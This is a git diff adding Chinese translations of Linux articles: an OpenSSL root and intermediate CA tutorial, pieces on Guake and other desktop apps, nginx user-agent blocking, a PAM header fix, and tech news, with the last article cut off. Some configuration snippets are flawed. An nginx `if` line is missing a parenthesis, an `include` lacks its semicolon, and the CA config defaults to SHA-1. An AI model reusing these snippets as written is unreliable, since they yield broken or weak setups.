Name (eg, city) []:Rotterdam + Organization Name (eg, company) [Internet Widgits Pty Ltd]:Sparkling Network + Organizational Unit Name (eg, section) []:Sparkling CA + Common Name (e.g. server FQDN or YOUR name) []:Sparkling Intermediate CA + Email Address []: + + Please enter the following 'extra' attributes + to be sent with your certificate request + A challenge password []: + An optional company name []: + +确保中间 CA 的主体(CN)和根 CA 不同。 + +用根 CA 签署 中间 CA 的 CSR: + + openssl ca -batch -config ca.conf -notext -in intermediate1.csr -out intermediate1.crt + +样例输出: + + Using configuration from ca.conf + Check that the request matches the signature + Signature ok + The Subject's Distinguished Name is as follows + countryName :PRINTABLE:'NL' + stateOrProvinceName :ASN.1 12:'Zuid Holland' + localityName :ASN.1 12:'Rotterdam' + organizationName :ASN.1 12:'Sparkling Network' + organizationalUnitName:ASN.1 12:'Sparkling CA' + commonName :ASN.1 12:'Sparkling Intermediate CA' + Certificate is to be certified until Mar 30 15:07:43 2017 GMT (730 days) + + Write out database with 1 new entries + Data Base Updated + +生成 CRL(同时采用 PEM 和 DER 格式): + + openssl ca -config ca.conf -gencrl -keyfile rootca.key -cert rootca.crt -out rootca.crl.pem + + openssl crl -inform PEM -in rootca.crl.pem -outform DER -out rootca.crl + +每次使用该 CA 签署证书后,请生成 CRL。 + +如果你需要撤销该中间证书: + + openssl ca -config ca.conf -revoke intermediate1.crt -keyfile rootca.key -cert rootca.crt + +### 配置中间 CA ### + +为该中间 CA 创建一个新文件夹,然后进入该文件夹: + + mkdir ~/SSLCA/intermediate1/ + cd ~/SSLCA/intermediate1/ + +从根 CA 拷贝中间证书和密钥: + + cp ~/SSLCA/root/intermediate1.key ./ + cp ~/SSLCA/root/intermediate1.crt ./ + +创建索引文件: + + touch certindex + echo 1000 > certserial + echo 1000 > crlnumber + +创建一个新的 `ca.conf` 文件: + + # vim ca.conf + [ ca ] + default_ca = myca + + [ crl_ext ] + issuerAltName=issuer:copy + authorityKeyIdentifier=keyid:always + + [ myca ] + dir = ./ + new_certs_dir = $dir + unique_subject = no + certificate = $dir/intermediate1.crt + database = $dir/certindex + private_key = $dir/intermediate1.key + serial = $dir/certserial + default_days = 365 + default_md = sha1 + policy = myca_policy + x509_extensions = myca_extensions + crlnumber = $dir/crlnumber + default_crl_days = 365 + + [ myca_policy ] + commonName = supplied + stateOrProvinceName = supplied + countryName = optional + emailAddress = optional + organizationName = supplied + organizationalUnitName = optional + + [ myca_extensions ] + basicConstraints = critical,CA:FALSE + keyUsage = critical,any + subjectKeyIdentifier = hash + authorityKeyIdentifier = keyid:always,issuer + keyUsage = digitalSignature,keyEncipherment + extendedKeyUsage = serverAuth + crlDistributionPoints = @crl_section + subjectAltName = @alt_names + authorityInfoAccess = @ocsp_section + + [alt_names] + DNS.0 = example.com + DNS.1 = example.org + + [crl_section] + URI.0 = http://pki.sparklingca.com/SparklingIntermidiate1.crl + URI.1 = http://pki.backup.com/SparklingIntermidiate1.crl + + [ocsp_section] + caIssuers;URI.0 = http://pki.sparklingca.com/SparklingIntermediate1.crt + caIssuers;URI.1 = http://pki.backup.com/SparklingIntermediate1.crt + OCSP;URI.0 = http://pki.sparklingca.com/ocsp/ + OCSP;URI.1 = http://pki.backup.com/ocsp/ + +修改 `[alt_names]` 部分,添加你需要的主体备选名。如果你不需要主体备选名,请移除该部分包括`subjectAltName = @alt_names`的行。 + +如果你需要设置一个指定的生效/到期日期,请添加以下内容到 `[myca]`: + + # format: YYYYMMDDHHMMSS + default_enddate = 20191222035911 + default_startdate = 20181222035911 + +生成一个空白 CRL(同时以 PEM 和 DER 格式): + + openssl ca -config ca.conf -gencrl -keyfile rootca.key -cert rootca.crt -out rootca.crl.pem + + openssl crl -inform PEM -in rootca.crl.pem -outform DER -out rootca.crl + +### 生成末端用户证书 ### + +我们使用这个新的中间 CA 来生成一个末端用户证书,请重复以下操作来使用该 CA 为每个用户签署。 + + mkdir enduser-certs + +生成末端用户的私钥: + + openssl genrsa -out enduser-certs/enduser-example.com.key 4096 + +生成末端用户的 CSR: + + openssl req -new -sha256 -key enduser-certs/enduser-example.com.key -out enduser-certs/enduser-example.com.csr + +样例输出: + + You are about to be asked to enter information that will be incorporated + into your certificate request. + What you are about to enter is what is called a Distinguished Name or a DN. + There are quite a few fields but you can leave some blank + For some fields there will be a default value, + If you enter '.', the field will be left blank. + ----- + Country Name (2 letter code) [AU]:NL + State or Province Name (full name) [Some-State]:Noord Holland + Locality Name (eg, city) []:Amsterdam + Organization Name (eg, company) [Internet Widgits Pty Ltd]:Example Inc + Organizational Unit Name (eg, section) []:IT Dept + Common Name (e.g. server FQDN or YOUR name) []:example.com + Email Address []: + + Please enter the following 'extra' attributes + to be sent with your certificate request + A challenge password []: + An optional company name []: + +使用中间 CA 签署末端用户的 CSR: + + openssl ca -batch -config ca.conf -notext -in enduser-certs/enduser-example.com.csr -out enduser-certs/enduser-example.com.crt + +样例输出: + + Using configuration from ca.conf + Check that the request matches the signature + Signature ok + The Subject's Distinguished Name is as follows + countryName :PRINTABLE:'NL' + stateOrProvinceName :ASN.1 12:'Noord Holland' + localityName :ASN.1 12:'Amsterdam' + organizationName :ASN.1 12:'Example Inc' + organizationalUnitName:ASN.1 12:'IT Dept' + commonName :ASN.1 12:'example.com' + Certificate is to be certified until Mar 30 15:18:26 2016 GMT (365 days) + + Write out database with 1 new entries + Data Base Updated + +生成 CRL(同时以 PEM 和 DER 格式): + + openssl ca -config ca.conf -gencrl -keyfile intermediate1.key -cert intermediate1.crt -out intermediate1.crl.pem + + openssl crl -inform PEM -in intermediate1.crl.pem -outform DER -out intermediate1.crl + +每次你使用该 CA 签署证书后,都需要生成 CRL。 + +如果你需要撤销该末端用户证书: + + openssl ca -config ca.conf -revoke enduser-certs/enduser-example.com.crt -keyfile intermediate1.key -cert intermediate1.crt + +样例输出: + + Using configuration from ca.conf + Revoking Certificate 1000. + Data Base Updated + +通过连接根证书和中间证书来创建证书链文件。 + + cat ../root/rootca.crt intermediate1.crt > enduser-certs/enduser-example.com.chain + +发送以下文件给末端用户: + + enduser-example.com.crt + enduser-example.com.key + enduser-example.com.chain + +你也可以让末端用户提供他们自己的 CSR,而只发送给他们这个 .crt 文件。不要把它从服务器删除,否则你就不能撤销了。 + +### 校验证书 ### + +你可以对证书链使用以下命令来验证末端用户证书: + + openssl verify -CAfile enduser-certs/enduser-example.com.chain enduser-certs/enduser-example.com.crt + enduser-certs/enduser-example.com.crt: OK + +你也可以针对 CRL 来验证。首先,将 PEM 格式的 CRL 和证书链相连接: + + cat ../root/rootca.crt intermediate1.crt intermediate1.crl.pem > enduser-certs/enduser-example.com.crl.chain + +验证证书: + + openssl verify -crl_check -CAfile enduser-certs/enduser-example.com.crl.chain enduser-certs/enduser-example.com.crt + +没有撤销时的输出: + + enduser-certs/enduser-example.com.crt: OK + +撤销后的输出如下: + + enduser-certs/enduser-example.com.crt: CN = example.com, ST = Noord Holland, C = NL, O = Example Inc, OU = IT Dept + error 23 at 0 depth lookup:certificate revoked + +-------------------------------------------------------------------------------- + +via: https://raymii.org/s/tutorials/OpenSSL_command_line_Root_and_Intermediate_CA_including_OCSP_CRL%20and_revocation.html + +作者:Remy van Elst +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/201505/20150512 Guake 0.7.0 Released--A Drop-Down Terminal for Gnome Desktops.md b/published/201505/20150512 Guake 0.7.0 Released--A Drop-Down Terminal for Gnome Desktops.md new file mode 100644 index 0000000000..421bc00a0b --- /dev/null +++ b/published/201505/20150512 Guake 0.7.0 Released--A Drop-Down Terminal for Gnome Desktops.md @@ -0,0 +1,121 @@ +一个用于Gnome桌面的下拉式终端: Guake 0.7.0 发布 +================================================================================ +Linux的命令行是最好、最强大的东西,它使新手着迷,并为老手和极客的提供极其强大的功能。那些在服务器和生产环境下工作的人早已认识到了这个事实。有趣的是,Linux终端是Linus Torvald在1991年写内核时实现的第一批功能之一。 + +终端是个强大的工具,由于它没有什么可调整的部分,所以十分可靠。终端介于控制台环境和GUI环境之间。终端自身作为一个GUI程序,运行在桌面环境下。有许多终端是适用于特定的桌面环境的,其它的则是通用的。Terminator, Konsole, Gnome-Terminal, Terminology, XFCE terminal, xterm都是些常用的终端模拟器。 + +您可以从下面的链接中获得一份使用最广泛的终端模拟器的列表。 + +- [20 Useful Terminals for Linux][1] + +前几日上网时,我偶遇了名为‘Guake’的终端程序,它是用于gnome的终端模拟器。尽管这并不是我第一次听到Guake。实际上,我在大约一年前便知道了这个应用程序,但不知怎么搞的,我那时没有写写Guake,再后来我便渐渐忘掉了Guake,直到我再一次听到Guake。所以,最终,这篇文章诞生了。我将给你讲讲Guake的功能,在Debian、Ubuntu、Fedora上的安装过程以及一些测试。 + +#### 什么是Guake? #### + +Guake是应用于Gnome环境的下拉式终端。主要由Python编写,使用了一些C,它以GPL2+许可证发布,适用于Linux以及类似的系统。Guake的灵感来源于电脑游戏Quake(雷神之锤)中的终端,Quake的终端能通过按下特定按键(默认为F12)从屏幕上滑下来,并在按下同样的键后滑上去。 + +值得注意的是,Guake并不是第一个这样的应用。Yakuake(Yet Another Kuake)是一个运行于KDE的终端模拟器,Tilda是一个用GTK+写成的终端模拟器。它们的灵感都来自于雷神之锤那上下滑动的终端。 + +#### Guake的功能 #### + +- 轻量级 +- 简单而优雅 +- 功能众多 +- 强大 +- 美观 +- 将终端平滑地集成于GUI中 +- 在按下预定义的键后出现/消失 +- 支持热键、标签、透明化背景,这使得它适合所有Gnome用户 +- 可配置各种方面 +- 包括许多颜色的调色板 +- 设定透明度的快捷方式 +- 通过Guake配置,可在启动时运行一个脚本 +- 可以在多个显示器上运行 + +Guake 0.7.0最近发布,它带来了一些修正以及上面提到的一些功能。完整的版本历史和源代码包可以在[这里][2]找到。 + +### 在Linux中安装Guake终端 ### + +如果您对从源码编译Guake感兴趣,您可以从上面的链接处下载Guake,并在安装前进行编译。 + +然而Guake可以在许多的发行版中通过添加额外的仓库来安装。这里,我们将在Debian、Ubuntu、Linux Mint和Fedora下安装Guake。 + +首先从仓库获取最新的软件包列表,并从默认的仓库安装Guake,如下所示: + + ---------------- 在 Debian, Ubuntu 和 Linux Mint 上 ---------------- + $ sudo apt-get update + $ apt-get install guake + +---------- + + ---------------- 在 Fedora 19 及其以后版本 ---------------- + # yum update + # yum install guake + +安装后,可以从另一个终端中启动Guake: + + $ guake + +在启动它后,便可以在Gnome桌面中使用F12(默认配置)来拉下、收回终端。 + +看起来非常漂亮,尤其是透明背景。滑下来...滑上去...滑下来...滑上去...执行命令,打开另一个标签,执行命令,滑上去...滑下来...(作者已沉迷其中) + +![Guake Terminal in Action](http://www.tecmint.com/wp-content/uploads/2015/05/Guake.png) + +*Guake实战* + +如果您的壁纸或活动窗口的颜色和Guake的颜色有些不搭。您可以改变您的壁纸,减少透明度或者改变Guake的颜色。 + +下一步便是进入Guake的配置,根据每个人的需求修改设置。可以通过应用菜单或者下面的命令来运行Guake的配置。 + + $ guake --preferences + +![Guake Terminal Properties](http://www.tecmint.com/wp-content/uploads/2015/05/Guake-Properties.png) + +*Guake终端配置* + +设置滚动 + +![Guake Scrolling Settings](http://www.tecmint.com/wp-content/uploads/2015/05/Guake-Scrolling.png) + +*Guake滚动配置* + +外观设置 - 在这里您可以修改文字颜色和背景色以及透明度。 + +![Appearance Properties](http://www.tecmint.com/wp-content/uploads/2015/05/Appearance-Properties.png) + +*外观设置* + +键盘快捷键 - 在这里您可以修改Guake显示的开关快捷键。 + +![Keyboard Shortcuts](http://www.tecmint.com/wp-content/uploads/2015/05/Keyboard-Shortcuts.png) + +*键盘快捷键* + +兼容性设置 - 基本上不必设置它。 + +![Compatibility Setting](http://www.tecmint.com/wp-content/uploads/2015/05/Compatibility-Setting.png) + +*兼容性设置* + +### 结论 ### + +这个项目即不是太年轻也不是太古老,因此它已经达到了一定的成熟度,足够可靠,可以开箱即用。像我这样需要在GUI和终端间频繁切换的人来说,Guake是一个福利。我不需要管理一个多余的窗口,频繁的打开和关闭,使用tab在大量打开的应用程序中寻找终端或切换到不同的工作区来管理终端,现在我需要的只有F12。 + +我认为对任何同时使用GUI和终端的Linux用户来说,Guake都是必须的工具。同样的,我会向任何想要在系统中结合使用GUI和终端的人推荐它,因为它既平滑又没有任何障碍。 + +上面就是我要说的全部了。如果在安装和使用时有任何问题,请告诉我,我们会帮助您。也请您告诉我您使用Guake的经验。在下面的评论区反馈您宝贵的经验。点赞和分享以帮助我们宣传。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/install-guake-terminal-ubuntu-mint-fedora/ + +作者:[Avishek Kumar][a] +译者:[wwy-hust](https://github.com/wwy-hust) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/avishek/ +[1]:http://www.tecmint.com/linux-terminal-emulators/ +[2]:https://github.com/Guake/guake/releases/tag/0.7.0 diff --git a/published/201505/20150515 New to Linux 5 Apps You Didn't Know You Were Missing.md b/published/201505/20150515 New to Linux 5 Apps You Didn't Know You Were Missing.md new file mode 100644 index 0000000000..1d34cda0f4 --- /dev/null +++ b/published/201505/20150515 New to Linux 5 Apps You Didn't Know You Were Missing.md @@ -0,0 +1,105 @@ +初来乍到Linux? 你需要知道的5款好应用 +================================================================================ +![](http://cdn.makeuseof.com/wp-content/uploads/2015/05/linux-apps-840x420.jpg?92a7a3) + +当你刚刚迈入linux的世界时,你会立马动身开始使用那些知名的浏览器、云客户端、音乐播放器、邮件客户端,也许还有图形编辑器,对吗?可是,你却错过了几个非常重要的生产工具。这里将介绍给你5个应该安装的不容错过的应用。 + +### [Synergy][1] ### + +Synergy 简直就是多桌面用户的福音。这是一个开源软件,它可以让你用一个鼠标和键盘跨越几台电脑、显示器和操作系统。在桌面之间切换鼠标和键盘非常简单,你只要把鼠标从一个桌面的边缘移向另一个桌面即可。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/multiple-monitors-640x431.jpg?92a7a3) + +当你第一次打开 Synergy,它会引导你完成设置。你的主桌面就是你将与其它桌面共享输入设备的那个。将主桌面设为服务端,将其它桌面设置为客户端。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/synergy-setup-wizard-640x480.jpg?92a7a3) + +Synergy 在互连的各个桌面间维持同一张粘贴板。它也将锁屏功能融合到了一起,例如,你可以跳过锁屏一次登录到所有桌面。你可以在 **Edit 菜单的 Setting** 下调整更多的设置,比如设置密码或者将 Synergy 设置成开机自启动。 + +(LCTT 译注:这是个[自由而开源][15]的好软件,但是如果你从它的网站下载,由于商业支持的缘故,是需要付费的;当然你可以自己[下载源代码并编译][15]。) + +### [BasKet Note Pads][2] ### + +从某种意义上来讲,用 BasKet Note Pads,就像把你的大脑刻画进计算机里一样。它把我们不经意间的想法记录下来,然后任由我们去把它们组织起来。你可以在各种任务中用到 BasKet Note Pads,比如记录笔记、制作脑图、记录代办事项、保存链接、管理你的发现、或者追踪项目数据。 + +在 BasKet Note Pads 中,每个放到一个区域的主要的想法或项目被称作一个篮子(basket)。你可以进一步拆分,成一个或多个子篮或者兄弟篮。篮子进一步分成笔记,这些零零碎碎的笔记组成了一个项目。你可以自由组织它们,给它们打标签,和筛选它们。 + +该应用的双面板结构的左侧以树形结构显示了你创建的所有篮子。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/basket-note-pads-640x480.jpg?92a7a3) + +BasKet Note Pads 第一次用起来可能有点复杂,但是如果你经常用它的话,你会觉得相当顺手。当你暂时不用它时,它会退出到系统托盘,方便你下次快速打开它。 + +如果在 Linux 上想要一个[更简单的笔记本替代品][3]?可以试试[Springseed][4]。 + +### [Caffeine(咖啡因)][5]### + +你怎样确保你的电脑不会在放一部[精彩的电影][6]中途突然休眠呢?Caffeine 会帮助你解决这个问题。当然,你并不需要为你的电脑泡一杯咖啡。你只需要安装一个轻量级的指示器 —— Caffeine。只要当前你是全屏模式,它就会禁用你的屏幕保护程序、锁屏程序,让你的电脑不会因为没有在任务中而进入睡眠模式。 + +[点击下载][7]安装最新版本的 Caffeine。如果你想以[PPA的方式][8]安装,使用如下命令: + + $ sudo add-apt-repository ppa:caffeine-developers/ppa + $ sudo apt-get update + $ sudo apt-get install caffeine + +如果你的Ubuntu版本是14.10或者15.04(或者其它衍生版本),你还需要安装下面的依赖包: + + $ sudo apt-get install libappindicator3-1 gir1.2-appindicator3-0.1 + +完成安装以后,将**Caffeine指示器**设置成开机自启动,这样可以使指示器显示在系统托盘里。你可以右键点击托盘图标打开应用的关联菜单,来开启或关闭Caffeine, + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/caffeine-indicator-640x480.jpg?92a7a3) + +### Easystroke ### + +Easystroke 是一个将[鼠标潜力][9]开发出来的应用。通过一系列的设置,用鼠标、触摸屏、手写笔的手势来完成敲击键盘、执行命令和滚动屏幕等通用操作。在 Easystroke 里能够设置的手势相当多,而且当你看到应用的界面时,你会发现应用的引导非常清晰。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/easystroke-record-640x480.jpg?92a7a3) + +选择一个你喜欢的鼠标键开始设置手势。如果你喜欢,你还可以设置辅助功能键。通过Perferences>Behavior>Gesture Button 来设置。现在到**Action**选项卡里面,把你最常用的动作记录成手势吧。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/easytroke-actions-640x480.jpg?92a7a3) + +在 Preferences 和 Advanced 选项卡中,你可以做一些其它的调整,比如将 EasyStroke 设置成自动启动,在系统托盘中显示图标,改变滚动速度。 + +### Guake ### + +我把我最喜欢的应用放在最后。Guake 是根据第一人称射击视屏游戏 [Quake][10] 模仿而来的下拉式命令行终端。不管你是否在[学习命令行终端][11],或者是有一定的基础,Guake 都可以将终端变得更加方便。你可以一键将它呼出,也可以一键将它隐藏。 + +就像下面这张图,当打开时,Guake 的界面会覆盖在当前的屏幕上。你可以在终端中右键点击,调出 Preference 来改变 Guake 的界面,滚动方式,快捷键等等。 + +![](http://cdn.makeuseof.com/wp-content/uploads/2015/04/guake-terminal-640x480.jpg?92a7a3) + +如果[你的桌面][12]是 KDE,你可以选择一个类似的工具——[Yakuake][13]. + +### 写下你最喜欢的Linux新发现!### + +还有更多[超级实用的 Linux 应用][14]等待被发现。放心,我们将一直关注,并把它们带到你们的生活中。 + +哪一个应用是你最喜欢研究的呢?哪一个是你觉得必不可少的呢?在评论里告诉给我们吧。 + +-------------------------------------------------------------------------------- + +via: http://www.makeuseof.com/tag/new-linux-5-apps-didnt-know-missing/ + +作者:[Akshata][a] +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.makeuseof.com/tag/author/akshata/ +[1]:http://synergy-project.org/ +[2]:http://basket.kde.org/ +[3]:http://www.makeuseof.com/tag/try-these-3-beautiful-note-taking-apps-that-work-offline/ +[4]:http://getspringseed.com/ +[5]:https://launchpad.net/caffeine +[6]:http://www.makeuseof.com/tag/popular-apps-movies-according-google/ +[7]:http://ppa.launchpad.net/caffeine-developers/ppa/ubuntu/pool/main/c/caffeine/ +[8]:http://www.makeuseof.com/tag/ubuntu-ppa-technology-explained/ +[9]:http://www.makeuseof.com/tag/4-astounding-linux-mouse-hacks/ +[10]:http://en.wikipedia.org/wiki/Quake_%28video_game%29 +[11]:http://www.makeuseof.com/tag/4-ways-teach-terminal-commands-linux-si/ +[12]:http://www.makeuseof.com/tag/10-top-linux-desktop-environments-available/ +[13]:https://yakuake.kde.org/ +[14]:http://www.makeuseof.com/tag/linux-treasures-x-sublime-native-linux-apps-will-make-want-switch/ diff --git a/published/201505/20150518 Linux FAQs with Answers--How to block specific user agents on nginx web server.md b/published/201505/20150518 Linux FAQs with Answers--How to block specific user agents on nginx web server.md new file mode 100644 index 0000000000..16bc2060fb --- /dev/null +++ b/published/201505/20150518 Linux FAQs with Answers--How to block specific user agents on nginx web server.md @@ -0,0 +1,115 @@ +Linux有问必答:nginx网络服务器上如何阻止特定用户代理(UA) +================================================================================ +> **问题**: 我注意到有一些机器人经常访问我的nginx驱动的网站,并且进行一些攻击性的扫描,导致消耗掉了我的网络服务器的大量资源。我一直尝试着通过用户代理符串来阻挡这些机器人。我怎样才能在nginx网络服务器上阻挡掉特定的用户代理呢? + +现代互联网滋生了大量各种各样的恶意机器人和网络爬虫,比如像恶意软件机器人、垃圾邮件程序或内容刮刀,这些恶意工具一直偷偷摸摸地扫描你的网站,干些诸如检测潜在网站漏洞、收获电子邮件地址,或者只是从你的网站偷取内容。大多数机器人能够通过它们的“用户代理”签名字符串来识别。 + +作为第一道防线,你可以尝试通过将这些机器人的用户代理字符串添加入robots.txt文件来阻止这些恶意软件机器人访问你的网站。但是,很不幸的是,该操作只针对那些“行为良好”的机器人,这些机器人被设计遵循robots.txt的规范。许多恶意软件机器人可以很容易地忽略掉robots.txt,然后随意扫描你的网站。 + +另一个用以阻挡特定机器人的途径,就是配置你的网络服务器,通过特定的用户代理字符串拒绝要求提供内容的请求。本文就是说明如何**在nginx网络服务器上阻挡特定的用户代理**。 + +### 在Nginx中将特定用户代理列入黑名单 ### + +要配置用户代理阻挡列表,请打开你的网站的nginx配置文件,找到`server`定义部分。该文件可能会放在不同的地方,这取决于你的nginx配置或Linux版本(如,`/etc/nginx/nginx.conf`,`/etc/nginx/sites-enabled/`,`/usr/local/nginx/conf/nginx.conf`,`/etc/nginx/conf.d/`)。 + + server { + listen 80 default_server; + server_name xmodulo.com; + root /usr/share/nginx/html; + + .... + } + +在打开该配置文件并找到 `server` 部分后,添加以下 if 声明到该部分内的某个地方。 + + server { + listen 80 default_server; + server_name xmodulo.com; + root /usr/share/nginx/html; + + # 大小写敏感的匹配 + if ($http_user_agent ~ (Antivirx|Arian) { + return 403; + } + + #大小写无关的匹配 + if ($http_user_agent ~* (netcrawl|npbot|malicious)) { + return 403; + } + + .... + } + +如你所想,这些 if 声明使用正则表达式匹配了任意不良用户字符串,并向匹配的对象返回403 HTTP状态码。 +`$http_user_agent`是HTTP请求中的一个包含有用户代理字符串的变量。‘~’操作符针对用户代理字符串进行大小写敏感匹配,而‘~*’操作符则进行大小写无关匹配。‘|’操作符是逻辑或,因此,你可以在 if 声明中放入众多的用户代理关键字,然后将它们全部阻挡掉。 + +在修改配置文件后,你必须重新加载nginx以激活阻挡: + + $ sudo /path/to/nginx -s reload + +你可以通过使用带有 “--user-agent” 选项的 wget 测试用户代理阻挡。 + + $ wget --user-agent "malicious bot" http:// + +![](https://farm6.staticflickr.com/5333/17434036358_ef139a6b59_b.jpg) + +### 管理Nginx中的用户代理黑名单 ### + +目前为止,我已经展示了在nginx中如何阻挡一些用户代理的HTTP请求。如果你有许多不同类型的网络爬虫机器人要阻挡,又该怎么办呢? + +由于用户代理黑名单会增长得很大,所以将它们放在nginx的server部分不是个好点子。取而代之的是,你可以创建一个独立的文件,在该文件中列出所有被阻挡的用户代理。例如,让我们创建/etc/nginx/useragent.rules,并定义以下面的格式定义所有被阻挡的用户代理的图谱。 + + $ sudo vi /etc/nginx/useragent.rules + +---------- + + map $http_user_agent $badagent { + default 0; + ~*malicious 1; + ~*backdoor 1; + ~*netcrawler 1; + ~Antivirx 1; + ~Arian 1; + ~webbandit 1; + } + +与先前的配置类似,‘~*’将匹配以大小写不敏感的方式匹配关键字,而‘~’将使用大小写敏感的正则表达式匹配关键字。“default 0”行所表达的意思是,任何其它文件中未被列出的用户代理将被允许。 + +接下来,打开你的网站的nginx配置文件,找到里面包含 http 的部分,然后添加以下行到 http 部分某个位置。 + + http { + ..... + include /etc/nginx/useragent.rules + } + +注意,该 include 声明必须出现在 server 部分之前(这就是为什么我们将它添加到了 http 部分里)。 + +现在,打开nginx配置定义你的服务器的部分,添加以下 if 声明: + + server { + .... + + if ($badagent) { + return 403; + } + + .... + } + +最后,重新加载nginx。 + + $ sudo /path/to/nginx -s reload + +现在,任何包含有`/etc/nginx/useragent.rules`中列出的关键字的用户代理将被nginx自动禁止。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/block-specific-user-agents-nginx-web-server.html + +作者:[Dan Nanni][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni diff --git a/published/201505/20150518 Linux FAQs with Answers--How to fix 'fatal error--security or pam_modules.h--No such file or directory'.md b/published/201505/20150518 Linux FAQs with Answers--How to fix 'fatal error--security or pam_modules.h--No such file or directory'.md new file mode 100644 index 0000000000..6ede2366a8 --- /dev/null +++ b/published/201505/20150518 Linux FAQs with Answers--How to fix 'fatal error--security or pam_modules.h--No such file or directory'.md @@ -0,0 +1,33 @@ +如何修复 “fatal error: security/pam_modules.h: No such file or directory” +================================================================================ +> **问题**: 我尝试在 [某某 Linux 发行版] 上编译程序,但是出现下面的编译错误: +> +> "pam_otpw.c:27:34: fatal error: security/pam_modules.h: No such file or directory" +> +> 我怎样才能修复这个错误? + +缺失的头文件 'security/pam_modules.h' 是 libpam 开发版的一部分,一个 PAM(Pluggable Authentication Modules:插入式验证模块)库。因此要修复这个错误,你需要安装 libpam 开发包,如下所示。 + +对于 Debian、 Ubuntu 或者 Linux Mint: + + $ sudo apt-get install libpam0g-dev + +对与 CentOS、 Fedora 或者 RHEL: + + $ sudo yum install gcc pam-devel + +现在验证缺失的头文件是否安装到了 /usr/include/security。 + +![](https://farm8.staticflickr.com/7751/16819069693_fa961f0d40_b.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/fatal-error-security-pam-modules.html + +作者:[Dan Nanni][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni \ No newline at end of file diff --git a/published/201505/20150521 Microsoft Open-Sources The Windows Communication Foundation.md b/published/201505/20150521 Microsoft Open-Sources The Windows Communication Foundation.md new file mode 100644 index 0000000000..bf071f9c5d --- /dev/null +++ b/published/201505/20150521 Microsoft Open-Sources The Windows Communication Foundation.md @@ -0,0 +1,26 @@ +微软开源了WCF框架 +================================================================================ +微软于今日(2015/5/20)宣布了针对 .NET Core 重大开源:WCF(Windows Communication Foundation)。 + +如[MSDN][1]中的描述:“WCF是一个构建面向服务应用的框架。使用WCF,你可以从一个服务终端给另一个发送异步消息。服务终端可以是托管在IIS中连续可用的服务的一部分,也可以是托管在某个程序上的服务。服务终端可以是请求服务端数据的客户端。消息可以是一个字符或者XML,也可以是复杂的二进制流。” + +它的[代码放在GitHub][2],“包含了Window桌面中完整WCF框架的一部分,它支持已经可用于构建Window Store上的WCF应用的库。这些主要是基于客户端,方便移动设备和中间层服务器使用WCF进行通信。” + +更多的关于微软开源 WCF 的细节查看[dotNETFoundation.org blog][3]的公告。 + +WCF听上去有点像Linux中用于进程/服务之间的进程间通讯的D-BUS。 + +-------------------------------------------------------------------------------- + +via: http://www.phoronix.com/scan.php?page=news_item&px=Microsoft-Open-Source-WCF + +作者:[Michael Larabel][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://www.michaellarabel.com/ +[1]:https://msdn.microsoft.com/en-us/library/ms731082%28v=vs.110%29.aspx +[2]:https://github.com/dotnet/wcf +[3]:http://www.dotnetfoundation.org/blog/wcf-is-open-source \ No newline at end of file diff --git a/published/201505/20150527 Ubuntu Community Council Asks the Kubuntu Project Leader to Step Down.md b/published/201505/20150527 Ubuntu Community Council Asks the Kubuntu Project Leader to Step Down.md new file mode 100644 index 0000000000..a47014fc9b --- /dev/null +++ b/published/201505/20150527 Ubuntu Community Council Asks the Kubuntu Project Leader to Step Down.md @@ -0,0 +1,33 @@ +Ubuntu 社区委员会要求 Kubuntu 项目领导人下台 +================================================================================ +> 而Jonathan Riddell拒绝从Kubuntu领导人位置退出 + +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-Community-Council-Asks-the-Kubuntu-Project-Leader-to-Step-Down-482384-2.jpg) + +**这一切刚刚发生。一名Debian开发者以及Kubuntu委员会成员 Scott Kitterman 决定公开一些电子邮件,邮件披露了Ubuntu 社区委员会成员要求 Jonathan Riddell 从 Kubuntu 项目领导人位置退出的过程。** + +Jonathan Riddell 是 KDE 以及 Kubuntu 的一名开发者,多年来也是 Ubuntu 社区的一名重要成员。从 Scott Kitterman [今天曝光的社区邮件往来][1]中来看,Jonathan Riddell 被指责对 Ubuntu 以及 Kubuntu 社区的一些成员咄咄逼人和挑衅。 + +长话短说,经过多轮邮件往来之后,Ubuntu 社区委员会的最终决定是让 Jonathan Riddell 退出他在 Ubuntu 以及Kubuntu 社区的领导人位置至少12个月,但仍可以像其他成员一样参与讨论。这个决定同时也得到了 Canonical 和Ubuntu 的创始人 Mark Shuttleworth 的支持。 + +“很遗憾写下了讨论这个我们觉得对 Ubuntu 社区有着消极影响的问题的邮件。长期以来,Jonathan Riddell 变得越来越难以交往。Jonathan 提出了有效的问题及关注,但当收到他不赞同的答案时,他的反应就不那么让人愉快了。”在 Ubuntu 社区委员会发出的第一封认为 Jonathan Riddell 行为“不友好”的邮件中这么写道。 + +### Jonathan 